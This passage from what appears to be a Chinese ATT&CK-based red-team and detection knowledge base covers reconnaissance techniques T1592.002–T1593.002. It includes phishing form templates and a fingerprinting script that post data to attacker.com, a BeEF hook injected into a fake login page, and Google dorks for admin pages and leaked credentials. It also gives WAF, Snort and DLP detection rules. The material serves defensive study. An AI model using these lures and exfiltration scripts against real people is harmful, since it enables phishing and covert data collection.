3：社交媒体和公开文档收集\n**关联技术**：T1592.002（软件信息收集）  \n**说明**：  \n- 攻击者通过 LinkedIn、公司官网或技术论坛（如 CSDN、Reddit）收集员工分享的软件信息。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/posts/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取软件相关信息\nsoftware_info = [post.text for post in soup.find_all(text=lambda t: \"software\" in t.lower() or \"version\" in t.lower())]\nprint(software_info)\n```\n**输出示例**：\n```\nPost: \"Upgraded our servers to Apache 2.4.41 and WordPress 5.9.2.\"\nSoftware: Apache 2.4.41, WordPress 5.9.2\n```\n**说明**：  \n- 员工可能在社交媒体或技术文档泄露软件版本。  \n- 关联 T1592.002：通过社交媒体获取软件信息。\n\n#### 测试案例 4：钓鱼收集软件信息\n**关联技术**：T1592.002（软件信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造邮件或调查问卷诱导员工泄露软件版本或配置信息。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: 系统维护调查\n  Body: 请提供您当前使用的 Web 服务器版本和 CMS 类型：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      Web 服务器: <input type=\"text\" name=\"webserver\">\n      CMS 类型: <input type=\"text\" name=\"cms\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\nwebserver=Apache 2.4.41&cms=WordPress 5.9.2\n```\n**说明**：  \n- 钓鱼攻击可直接收集软件信息。  \n- 关联 T1592.002：通过钓鱼获取软件信息。\n\n#### 测试案例 5：查询公开技术数据库\n**关联技术**：T1592.002（软件信息收集）  \n**说明**：  \n- 攻击者通过公开技术数据库（如 Shodan、Censys）查询目标主机的软件信息。  \n**示例操作**：\n```bash\n:: 在 Shodan 查询目标 IP 的软件信息\nshodan host 192.168.1.10\n:: 或在 Censys 查询\ncurl -H \"Authorization: Basic YOUR_API_KEY\" \"https://search.censys.io/api/v2/hosts/192.168.1.10\"\n```\n**输出示例**：\n```\nIP: 192.168.1.10\nService: HTTP, Software: Apache/2.4.41\nService: HTTPS, Software: OpenSSL/1.1.1\n```\n**说明**：  \n- 公开数据库可暴露服务器软件版本。  \n- 关联 T1592.002：通过技术数据库获取软件信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有 `nmap` 或浏览器的系统。\n2. **步骤**：\n   - 使用 Nmap 扫描：`nmap -sV -p 80,443 192.168.1.10`。\n   - 访问在线指纹识别工具（如 <https://scan.top15.cn/web/>），输入 `http://example.com`。\n   - 搜索 LinkedIn 或公司官网，提取软件相关信息。\n   - 使用 Shodan 或 Censys 查询目标 IP：`shodan host 192.168.1.10`。\n3. **预期结果**：返回 Web 服务器、CMS 或其他软件版本（如 `Apache 2.4.41`, `WordPress 5.9.2`）。\n\n## 测试留痕\n\n### 外部场景\n- **网络流量日志**：\n  ```\n  TCP 80, Source: 203.0.113.1, Request: HEAD / HTTP/1.0\n  ```\n- **Web 服务器日志**：\n  ```\n  203.0.113.1 - - [26/May/2025:08:30:00 +0000] \"GET /about HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: 系统维护调查, URL: http://fake-survey.com\n  ```\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、职位发布或社交媒体泄露软件版本或配置信息。\n   - 对技术文档进行模糊化处理（如避免提及具体软件版本）。\n   - 配置 Web 服务器隐藏 Banner 信息（如修改 Apache/Nginx 的 `Server` 头）。\n2. **软件安全管理**：\n   - 定期更新软件，修复已知漏洞。\n   - 部署防病毒和 EDR 解决方案，防范基于软件信息的攻击。\n3. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露软件信息。\n   - 指导员工在社交媒体限制技术细节的分享（如避免提及软件版本）。\n4. **主动 OSINT 评估**：\n   - 使用 Nmap 或在线指纹识别工具（如 TSscan、云悉指纹）模拟攻击者行为，评估公开软件信息的暴露程度。\n   - 定期检查 Pastebin、暗网或 Shodan，识别泄露的软件版本。\n5. **网络安全配置**：\n   - 使用防火墙限制对敏感端口（如 80、443）的外部扫描。\n   - 部署 WAF（Web 应用防火墙）拦截异常扫描或爬虫行为。\n\n### 后续阶段监控\n- **漏洞利用（T1190）**：\n   - 关注针对已知软件漏洞的攻击，如异常的 HTTP 请求。\n- **供应链攻击（T1195）**：\n   - 关注异常的软件更新请求或伪造的供应商通信。\n- **外部远程服务（T1133）**：\n   - 关注针对暴露服务的异常登录尝试。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织软件的扫描或漏洞利用预警。\n- 监控暗网或 Pastebin，识别泄露的软件版本或配置。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n- MITRE ATT&CK:T1592-002  \n  <https://attack.mitre.org/techniques/T1592/002/>\n- 指纹识别大全  \n  <https://www.bilibili.com/read/cv9136494/>\n- Nmap 文档  \n  <https://nmap.org/book/man.html>\n- 在线指纹识别工具  \n  - TSscan: <https://scan.top15.cn/web/>\n  - 云悉指纹: <http://www.yunsee.cn/finger.html>\n  - WhatWeb: <http://whatweb.bugscaner.com/look/>\n  - BugScaner: <http://whatweb.bugscaner.com/look/>\n"
  },
  {
    "path": "Windows/01侦察/T1592.003-收集目标组织主机信息-固件信息.md",
    "content": "# T1592-003-收集目标组织主机信息-固件信息\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织主机固件的信息（T1592.003）。这些信息可用于目标定位、了解主机配置或指导后续攻击活动（如供应链攻击 T1195、漏洞利用 T1190 或固件修改 T1542.002）。固件信息通常包括主机上固件的类型、版本、补丁级别等，可能揭示目标环境的硬件配置、用途或安全状态（如过时固件易受已知漏洞攻击）。由于这些活动通常在目标组织的视野之外（如通过公开数据源或社交工程）进行，防御者难以直接发现。\n\n攻击者收集固件信息的动机包括：\n- **推测主机配置**：通过固件版本推断硬件类型、操作系统或补丁状态，为漏洞利用提供情报。\n- **定制攻击向量**：利用固件信息开发针对特定硬件的恶意代码或供应链攻击。\n- **供应链攻击**：识别供应链中使用的固件版本，寻找可利用的弱点。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部固件信息收集方法，聚焦于公开数据源和社交工程。\n\n#### 测试案例 1：通过职位发布收集固件信息\n**关联技术**：T1592.003（固件信息收集）  \n**说明**：  \n- 攻击者通过招聘网站（如智联招聘、LinkedIn）或公司官网的职位描述，提取与硬件或固件相关的信息。  \n**示例操作**：\n- 搜索目标组织的职位发布，关键词包括“固件”、“BIOS”、“UEFI”或“嵌入式系统”。\n- 示例职位描述：  \n  ```\n  招聘固件工程师，熟悉 Intel UEFI 固件开发，需支持 BIOS v2.7.1。\n  ```\n**输出示例**：\n```\nOrganization: example.com\nFirmware: Intel UEFI BIOS v2.7.1\nHardware: Intel-based servers\n```\n**说明**：  \n- 职位发布可能泄露固件版本或硬件类型。  \n- 关联 T1592.003：通过公开招聘信息收集固件数据。\n\n#### 测试案例 2：社交媒体爬取固件信息\n**关联技术**：T1592.003（固件信息收集）  \n**说明**：  \n- 攻击者通过 LinkedIn、Twitter 或技术论坛（如 Reddit）收集员工分享的固件相关信息。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/posts/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取固件相关信息\nfirmware_info = [post.text for post in soup.find_all(text=lambda t: \"firmware\" in t.lower() or \"BIOS\" in t.lower())]\nprint(firmware_info)\n```\n**输出示例**：\n```\nPost: \"Upgraded our servers to Dell BIOS v1.9.2 for better performance.\"\nFirmware: Dell BIOS v1.9.2\nHardware: Dell servers\n```\n**说明**：  \n- 员工可能在社交媒体分享固件升级或硬件配置信息。  \n- 关联 T1592.003：通过社交媒体获取固件信息。\n\n#### 测试案例 3：钓鱼收集固件信息\n**关联技术**：T1592.003（固件信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造的邮件或调查问卷，诱导员工泄露固件版本或硬件信息。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: 硬件支持调查\n  Body: 请提供您设备的固件版本（如 BIOS/UEFI）和型号以协助技术支持：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      设备型号: <input type=\"text\" name=\"model\">\n      固件版本: <input type=\"text\" name=\"firmware\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\nmodel=Dell PowerEdge R740&firmware=BIOS v1.9.2\n```\n**说明**：  \n- 钓鱼攻击可直接收集固件信息。  \n- 关联 T1592.003：通过钓鱼获取固件信息。\n\n#### 测试案例 4：查询公开技术数据库\n**关联技术**：T1592.003（固件信息收集）  \n**说明**：  \n- 攻击者通过公开的技术数据库（如 Shodan、Censys）或供应商网站查询目标组织的固件信息。  \n**示例操作**：\n```bash\n# 在 Shodan 查询目标 IP 的固件信息\nshodan host 192.168.1.10\n# 或访问供应商网站（如 Dell、HP）搜索固件更新日志\n```\n**输出示例**：\n```\nIP: 192.168.1.10\nDevice: Dell PowerEdge R740\nFirmware: BIOS v1.9.2\n```\n**说明**：  \n- 公开数据库或供应商网站可能暴露固件版本。  \n- 关联 T1592.003：通过技术数据库获取固件信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有浏览器的系统。\n2. **步骤**：\n   - 使用 Shodan 查询目标 IP：`shodan host 192.168.1.10`。\n   - 搜索目标组织的职位发布或社交媒体，提取固件相关关键词（如“BIOS”、“UEFI”）。\n   - 访问供应商网站（如 Dell、HP）查看固件更新日志。\n3. **预期结果**：返回固件版本或硬件信息（如 `Dell BIOS v1.9.2`）。\n\n## 测试留痕\n\n### 外部场景\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /careers HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: 硬件支持调查, URL: http://fake-survey.com\n  ```\n- **网络流量日志**（外部查询场景）：\n  ```\n  HTTP GET censys.io/api/v2/hosts/192.168.1.10\n  ```\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、职位发布或社交媒体泄露固件版本或硬件配置。\n   - 对技术文档或职位描述进行模糊化处理（如避免提及具体固件版本）。\n   - 配置 Web 服务器限制爬虫访问敏感页面（如使用 CAPTCHA 或限流）。\n2. **固件安全管理**：\n   - 定期更新固件，修复已知漏洞。\n   - 使用供应商提供的安全固件（如支持 TPM 或 Secure Boot）。\n3. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露固件或硬件信息。\n   - 指导员工在社交媒体限制技术细节的分享（如避免提及固件版本）。\n4. **主动 OSINT 评估**：\n   - 使用 Shodan 或 Censys 模拟攻击者行为，评估公开固件信息的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的硬件信息。\n5. **网络安全配置**：\n   - 使用防火墙限制对敏感服务的外部访问。\n   - 部署 WAF（Web 应用防火墙）拦截异常爬虫行为。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n   - 关注利用固件信息的钓鱼邮件。\n- **漏洞利用（T1190）**：\n   - 关注针对固件漏洞的攻击，如异常的固件更新请求。\n- **供应链攻击（T1195）**：\n   - 关注异常的固件供应链请求，如伪造的供应商通信。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织硬件或固件的扫描或漏洞利用预警。\n- 监控暗网或 Pastebin，识别泄露的固件版本或硬件配置。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n- MITRE ATT&CK:T1592-003  \n  <https://attack.mitre.org/techniques/T1592/003/>\n- OSINT Framework  \n  <https://osintframework.com/>\n- CISA 供应链安全指南  \n  <https://www.cisa.gov/supply-chain-security>\n"
  },
  {
    "path": "Windows/01侦察/T1592.004-收集目标组织主机信息-客户端配置.md",
    "content": "# T1592.004-收集目标组织主机信息-客户端配置\n\n## 描述\n攻击者在入侵目标组织之前，可能收集目标客户端设备的配置信息，以支持目标定位和攻击规划。客户端配置信息包括操作系统类型/版本、虚拟化环境、体系结构（32位或64位）、语言设置、时区、浏览器类型/版本、User-Agent字符串或其他环境变量。这些信息可帮助攻击者了解目标设备的技术环境，识别潜在漏洞或定制攻击payload。\n\n攻击者可能通过以下方式收集客户端配置信息：\n- **主动扫描**：通过网络嗅探或Banner抓取获取User-Agent、操作系统或浏览器信息。\n- **钓鱼攻击**：通过恶意网页或邮件诱导用户访问，运行脚本（如JavaScript）收集客户端配置。\n- **恶意代码植入**：在受损网站植入恶意脚本（如BeEF框架），捕获访问者的设备信息。\n- **公开信息搜刮**：分析公开数据（如职位发布、泄露文档、社交媒体）推测客户端配置。\n- **社会工程**：伪装成合法实体，诱导员工泄露设备配置或管理凭据。\n\n收集到的信息可能为后续攻击活动做准备，例如搜索开放网站/域（T1593）、搜索公开技术数据库（T1596）、建立运营资源（T1583/T1584）或通过供应链攻击（T1195）或外部远程服务（T1133）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者收集客户端配置信息的常见方法和工具：\n- **BeEF（Browser Exploitation Framework）** (<https://beefproject.com>):\n  - 用于通过浏览器漏洞收集客户端信息（如操作系统、浏览器版本、插件）。\n  - 示例：设置钓鱼页面，诱导用户访问并运行BeEF脚本。\n    ```html\n    <script src=\"http://attacker.com:3000/hook.js\"></script>\n    ```\n- **JavaScript信息收集**：\n  - 嵌入恶意JavaScript代码，收集User-Agent、语言、时区等信息。\n    ```javascript\n    var info = {\n        userAgent: navigator.userAgent,\n        platform: navigator.platform,\n        language: navigator.language,\n        screen: screen.width + \"x\" + screen.height\n    };\n    fetch('http://attacker.com/collect', {\n        method: 'POST',\n        body: JSON.stringify(info)\n    });\n    ```\n- **钓鱼页面**：\n  - 创建伪装的登录页面，诱导用户访问并收集客户端信息。\n  - 示例：伪装成公司内部门户，嵌入BeEF或自定义脚本。\n- **公开信息搜刮**：\n  - 使用OSINT工具（如theHarvester）从社交媒体或公开文档提取员工设备信息。\n    ```bash\n    theharvester -d target.com -b linkedin -l 100 -f output.html\n    ```\n- **案例场景**：\n  - 攻击者通过钓鱼邮件诱导员工访问包含BeEF脚本的页面，收集浏览器版本和操作系统信息，定制针对性漏洞利用。\n  - 使用JavaScript脚本从目标网站访客中提取User-Agent，推测目标组织使用的Windows版本。\n  - 参考案例：<https://www.kancloud.cn/wintry/p-tools/598539>，通过BeEF收集客户端配置并发起后续攻击。\n\n## 检测日志\n客户端配置信息收集多通过公开渠道或外部交互进行，难以直接监测。以下是可能的日志来源：\n- **Web服务器日志**：\n  - 记录异常的HTTP请求，如包含恶意脚本的页面访问或异常User-Agent。\n- **WAF日志**：\n  - 检测被WAF拦截的恶意脚本请求或钓鱼页面访问。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件，可能与收集客户端信息的恶意链接相关。\n- **网络流量日志**：\n  - 检测异常的HTTP/HTTPS流量，如向外部服务器发送客户端配置数据。\n- **端点日志**：\n  - 记录浏览器或客户端设备的异常行为，如运行未知JavaScript。\n\n## 测试复现\n以下是模拟客户端配置信息收集的步骤：\n1. **环境准备**：\n   - 在授权测试环境中搭建目标网站和钓鱼页面。\n   - 配置BeEF服务器或自定义JavaScript脚本。\n2. **信息收集**：\n   - 部署BeEF：\n     ```bash\n     sudo apt install beef-xss\n     beef-xss\n     # 启动BeEF服务器，默认监听http://localhost:3000\n     ```\n   - 创建钓鱼页面，嵌入BeEF脚本：\n     ```html\n     <html>\n     <head><title>Login</title></head>\n     <body>\n         <h1>TargetCorp Login</h1>\n         <script src=\"http://attacker.com:3000/hook.js\"></script>\n     </body>\n     </html>\n     ```\n   - 使用JavaScript收集客户端信息：\n     ```javascript\n     var info = {\n         userAgent: navigator.userAgent,\n         platform: navigator.platform,\n         language: navigator.language\n     };\n     fetch('http://attacker.com/collect', { method: 'POST', body: JSON.stringify(info) });\n     ```\n3. **社会工程模拟**：\n   - 发送钓鱼邮件，诱导员工访问包含恶意脚本的页面。\n4. **结果分析**：\n   - 在BeEF控制面板查看收集到的客户端信息（如操作系统、浏览器版本）。\n5. **日志收集**：\n   - 收集Web服务器、WAF和网络流量日志，验证脚本执行或数据外传痕迹。\n\n## 测试留痕\n客户端配置信息收集可能留下以下痕迹：\n- **Web服务器日志**：异常HTTP请求，如访问包含BeEF脚本的页面或异常User-Agent。\n- **WAF/IDS告警**：触发恶意脚本检测规则或异常POST请求。\n- **网络流量**：向外部服务器发送的异常HTTP/HTTPS数据包，包含客户端配置信息。\n- **邮件服务器日志**：钓鱼邮件或社会工程交互记录。\n- **端点日志**：浏览器执行未知JavaScript的记录。\n\n## 检测规则/思路\n由于客户端配置信息收集多发生在目标组织监测范围之外，检测需结合多种手段：\n- **Web流量监控**：\n  - 使用WAF（如Cloudflare、ModSecurity）检测异常JavaScript请求或已知恶意脚本（如BeEF的`hook.js`）。\n  - 示例WAF规则：\n    ```nginx\n    if ($http_user_agent ~* \"BeEF\" || $request_uri ~* \"hook.js\") {\n        return 403;\n    }\n    ```\n  - 监控异常的POST请求，可能包含客户端配置数据。\n- **网络流量分析**：\n  - 使用IDS/IPS（如Snort、Suricata）检测向外部服务器发送的异常流量。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious Client Data Exfiltration\"; content:\"userAgent\"; content:\"platform\"; content:\"language\"; sid:1000001;)\n    ```\n- **邮件监控**：\n  - 使用DLP（数据丢失防护）工具检测钓鱼邮件，重点检查包含恶意链接的邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Links\n    Condition: Email contains \"http\" AND \"login\" AND NOT \"target.com\"\n    Action: Alert\n    ```\n- **端点保护**：\n  - 部署EDR（端点检测与响应）工具，监控浏览器执行的异常脚本。\n  - 配置浏览器策略，限制未知来源的JavaScript执行。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意IP或BeEF服务器域名。\n  - 监控Pastebin或暗网论坛，检查是否出现组织的客户端配置数据。\n\n## 建议\n- **减少信息暴露**：\n  - 限制员工在公开渠道（如社交媒体、职位发布）泄露设备配置信息。\n  - 使用浏览器隐私设置，限制User-Agent或其他配置的暴露。\n- **安全意识培训**：\n  - 对员工进行钓鱼防御培训，警惕伪装的登录页面或恶意链接。\n  - 教育员工避免点击未知来源的链接或访问可疑网站。\n- **安全加固**：\n  - 配置WAF拦截恶意脚本请求，保护公开网站。\n  - 实施MFA保护与客户端相关的账户或系统。\n  - 使用EDR工具监控端点上的异常脚本执行。\n- **主动监控与响应**：\n  - 部署Web日志分析工具（如Splunk、ELK），监控异常HTTP请求。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的客户端信息收集活动。\n  - 定期检查公开数据泄露，评估客户端配置暴露风险。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1195、钓鱼T1566），通过异常流量或登录行为间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1592-004  \n  <https://attack.mitre.org/techniques/T1592/004/>\n- BeEF - 渗透工具使用指南  \n  <https://www.kancloud.cn/wintry/p-tools/598539>\n- 全流程信息收集方法总结  \n  <https://www.freebuf.com/articles/database/195169.html>"
  },
  {
    "path": "Windows/01侦察/T1593.001-搜索开放的域和网站-社交媒体.md",
    "content": "# T1593.001-搜索开放的域和网站-社交媒体\n\n## 描述\n攻击者在入侵目标组织之前，可能通过搜索社交媒体平台收集目标的公开信息。社交媒体（如LinkedIn、微博、Twitter、Facebook）可能包含有关目标组织或员工的详细信息，例如员工姓名、职位、联系方式（邮箱、电话）、工作动态、组织结构、业务关系或个人生活细节（如上下班时间、常用工具）。这些信息可帮助攻击者构建目标的社交网络图、识别关键人员或发现潜在攻击入口。\n\n攻击者可能通过以下方式收集社交媒体信息：\n- **公开信息搜刮**：手动浏览或使用爬虫工具（如OSINT Framework、Maltego）提取员工或组织的社交媒体数据。\n- **社会工程**：通过伪装身份（如添加好友、假冒同事）获取目标的信任，收集更多信息。\n- **泄露数据挖掘**：分析Pastebin、暗网论坛或其他平台上泄露的社交媒体数据。\n- **自动化工具**：使用专门的OSINT工具（如SpiderFoot、theHarvester）提取邮箱、电话或关联账户。\n\n收集到的信息可能为后续攻击活动做准备，例如钓鱼（T1566）、搜索开放技术数据库（T1596）、建立运营资源（T1583/T1584）或通过外部远程服务（T1133）或有效账户（T1078）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者通过社交媒体收集信息的常见方法和工具：\n- **手动搜刮**：\n  - 在LinkedIn搜索目标组织的员工，提取姓名、职位和邮箱。\n    ```bash\n    site:linkedin.com \"TargetCorp\" \"manager\"  # 搜索TargetCorp的经理信息\n    ```\n  - 在微博或Twitter上搜索目标员工的动态，收集工作习惯或联系方式。\n    ```bash\n    from:TargetCorp_employee project  # 搜索员工关于项目的推文\n    ```\n- **OSINT工具**：\n  - **theHarvester** (<https://github.com/laramies/theHarvester>): 提取目标组织的邮箱和员工信息。\n    ```bash\n    theharvester -d target.com -b linkedin -l 100 -f output.html\n    # 从LinkedIn搜索target.com相关的邮箱，限制100条结果\n    ```\n  - **Maltego** (<https://www.maltego.com>): 构建目标组织的社交网络图，分析员工关系。\n  - **SpiderFoot** (<https://www.spiderfoot.net>): 自动化收集目标的社交媒体数据。\n    ```bash\n    spiderfoot -m sfp_linkedin -t target.com -s output.json\n    # 收集target.com的LinkedIn信息\n    ```\n- **社交媒体爬虫**：\n  - 使用Python脚本爬取目标的社交媒体页面：\n    ```python\n    import requests\n    from bs4 import BeautifulSoup\n    url = \"https://www.linkedin.com/company/targetcorp\"\n    response = requests.get(url)\n    soup = BeautifulSoup(response.text, 'html.parser')\n    employees = soup.find_all('a', class_='employee-name')\n    for emp in employees:\n        print(emp.text)\n    ```\n- **社会工程**：\n  - 伪装成行业同行添加目标员工为好友，观察其动态或私信套取信息。\n  - 发送钓鱼邮件，伪装成LinkedIn通知，诱导员工泄露凭据。\n- **案例场景**：\n  - 使用theHarvester从LinkedIn收集目标组织的员工邮箱，发起针对性钓鱼攻击。\n  - 通过Twitter搜索员工动态，发现使用的内部工具（如Slack），推测登录入口。\n  - 参考案例：<https://cloud.tencent.com/developer/article/1752139>，通过社交媒体OSINT发现关键员工信息，结合钓鱼实现初始访问。\n\n## 检测日志\n社交媒体信息收集多通过公开渠道进行，难以直接监测。以下是可能的日志来源：\n- **邮件服务器日志**：\n  - 检测钓鱼邮件或社会工程攻击，可能与社交媒体收集的邮箱相关。\n- **Web服务器日志**：\n  - 记录异常的HTTP请求，如高频爬取或异常User-Agent，可能与社交媒体数据搜刮相关。\n- **身份认证日志**：\n  - 监控与社交媒体账户关联的异常登录尝试。\n- **DLP日志**：\n  - 检测员工通过邮件或社交媒体泄露敏感信息。\n\n## 测试复现\n以下是模拟社交媒体信息收集的步骤：\n1. **环境准备**：\n   - 在授权测试环境中模拟目标组织的社交媒体账户（如LinkedIn公司页面、员工Twitter）。\n2. **信息收集**：\n   - 使用Google搜索：\n     ```bash\n     site:linkedin.com \"TargetCorp\" \"engineer\"\n     ```\n   - 运行theHarvester：\n     ```bash\n     theharvester -d target.com -b linkedin -l 100 -f output.html\n     ```\n   - 使用SpiderFoot：\n     ```bash\n     spiderfoot -m sfp_linkedin -t target.com -s output.json\n     ```\n3. **社会工程模拟**：\n   - 在红队测试中，伪装成同行添加目标员工为好友，收集动态信息。\n   - 发送伪装的LinkedIn通知邮件，诱导员工泄露凭据。\n4. **结果分析**：\n   - 整理收集到的邮箱、职位和动态信息，分析潜在攻击入口。\n5. **日志收集**：\n   - 收集邮件服务器、Web服务器和DLP日志，验证社会工程或爬虫痕迹。\n\n## 测试留痕\n社交媒体信息收集可能留下以下痕迹：\n- **Web服务器日志**：异常HTTP请求，如高频爬取或异常User-Agent（如`python-requests`）。\n- **邮件服务器日志**：钓鱼邮件或社会工程交互记录。\n- **社交媒体平台日志**：异常的账户访问或好友请求，可能表明伪装行为。\n- **DLP告警**：员工泄露敏感信息到社交媒体的记录。\n\n## 检测规则/思路\n由于社交媒体信息收集多发生在目标组织监测范围之外，检测需结合多种手段：\n- **邮件流量监控**：\n  - 使用DLP工具检测异常的邮件模式，如伪装成社交媒体通知的钓鱼邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Emails\n    Condition: Email contains \"linkedin.com\" AND \"password reset\"\n    Action: Alert\n    ```\n- **Web流量监控**：\n  - 使用WAF（如Cloudflare、ModSecurity）检测异常爬虫行为，匹配常见OSINT工具的User-Agent。\n  - 示例WAF规则：\n    ```nginx\n    if ($http_user_agent ~* \"(theHarvester|SpiderFoot|python-requests)\") {\n        return 403;\n    }\n    ```\n- **社交媒体监控**：\n  - 使用第三方工具（如Brand24、Hootsuite）监控组织在社交媒体上的提及。\n  - 检测异常的好友请求或私信，可能与社会工程相关。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的OSINT工具IP或钓鱼模式。\n  - 监控Pastebin或暗网论坛，检查是否出现组织的员工数据。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联邮件、Web和身份认证日志，检测异常的社会工程或爬取行为。\n\n## 建议\n- **减少信息暴露**：\n  - 指导员工限制社交媒体上的敏感信息发布，如工作邮箱、内部工具或动态。\n  - 配置社交媒体账户为私有，限制公开访问。\n  - 定期检查LinkedIn、微博等平台上的组织信息，移除不必要的细节。\n- **安全意识培训**：\n  - 对员工进行社会工程防御培训，警惕伪装的好友请求或钓鱼邮件。\n  - 教育员工避免在社交媒体上泄露工作相关信息。\n- **安全加固**：\n  - 实施MFA保护与员工社交媒体账户关联的邮箱或系统。\n  - 配置WAF拦截异常爬虫请求，保护公开网站。\n- **主动监控与响应**：\n  - 使用Google Alerts或Brand24监控与组织的社交媒体提及。\n  - 部署DLP工具，检测敏感信息泄露到社交媒体。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的社交媒体侦察活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1566、有效账户T1078），通过异常邮件或登录行为间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1593-001  \n  <https://attack.mitre.org/techniques/T1593/001/>\n- Github Hacking | Google Hacking - 信息搜集篇  \n  <https://cloud.tencent.com/developer/article/1752139>\n- 全流程信息收集方法总结  \n  <https://www.freebuf.com/articles/database/195169.html>"
  },
  {
    "path": "Windows/01侦察/T1593.002-搜索开放的域和网站-搜索引擎.md",
    "content": "# T1593.002-搜索开放的域和网站-搜索引擎\n\n## 描述\n攻击者在入侵目标组织之前，可能通过搜索引擎收集目标的网络信息。搜索引擎（如Google、Bing、百度）通过爬取在线站点并索引内容，提供丰富的公开信息。攻击者可利用专门的搜索语法（如Google Hacking）查询目标的敏感信息，例如子域名、泄露的凭据、配置文件、后台地址或网络设备信息。这些信息可帮助攻击者了解目标的网络架构、关键资产或潜在漏洞。\n\n攻击者可能通过以下方式使用搜索引擎：\n- **Google Hacking**：使用高级搜索语法（如`intitle`、`inurl`）查找目标网站的敏感页面或文件。\n- **公开信息搜刮**：搜索与目标相关的公开文档、员工信息或业务关系。\n- **社会工程结合**：利用搜索到的邮箱或联系信息发起针对性钓鱼攻击。\n- **泄露数据挖掘**：查找Pastebin或其他平台上泄露的与目标相关的敏感信息。\n\n收集到的信息可能为后续攻击活动做准备，例如钓鱼（T1566）、搜索开放技术数据库（T1596）、建立运营资源（T1583/T1584）或通过有效账户（T1078）或钓鱼实现初始访问。\n\n## 测试案例\n以下是模拟攻击者使用搜索引擎收集信息的常见方法和工具：\n\n### 1. **Google Hacking 基础**\n利用Google高级搜索语法查找目标的敏感信息：\n- **intitle**：搜索网页标题中的关键词。\n  ```bash\n  intitle:\"admin login\" site:target.com\n  # 查找目标网站标题中包含“admin login”的页面\n  ```\n- **inurl**：搜索URL中的关键词。\n  ```bash\n  inurl:(admin | login) site:target.com\n  # 查找目标网站URL中包含“admin”或“login”的页面\n  ```\n- **intext**：搜索网页正文中的关键词。\n  ```bash\n  intext:(password | admin) site:target.com\n  # 查找网页正文包含“password”或“admin”的页面\n  ```\n- **filetype**：搜索特定类型的文件。\n  ```bash\n  filetype:pdf site:target.com \"staff directory\"\n  # 查找目标网站上的员工目录PDF\n  ```\n- **site**：限制搜索范围到特定网站。\n  ```bash\n  site:*.target.com -inurl:(signup | login)\n  # 查找目标网站的所有子域名，排除注册或登录页面\n  ```\n- **allinurl**：搜索URL中包含多个关键词。\n  ```bash\n  allinurl:(manage system) site:target.com\n  # 查找URL同时包含“manage”和“system”的页面\n  ```\n\n### 2. **Google Hacking 进阶**\n- **查找后台地址**：\n  ```bash\n  site:target.com inurl:(login | admin | manage | member | admin_login | login_admin | system | user | main | cms)\n  # 查找可能的后台登录页面\n  ```\n- **查找泄露凭据**：\n  ```bash\n  site:*.target.com intext:(admin | username | password | system | login)\n  # 查找包含敏感信息的页面\n  ```\n- **查找可注入点**：\n  ```bash\n  site:target.com inurl:(aspx | jsp | php | asp)\n  # 查找可能存在SQL注入或XSS漏洞的动态页面\n  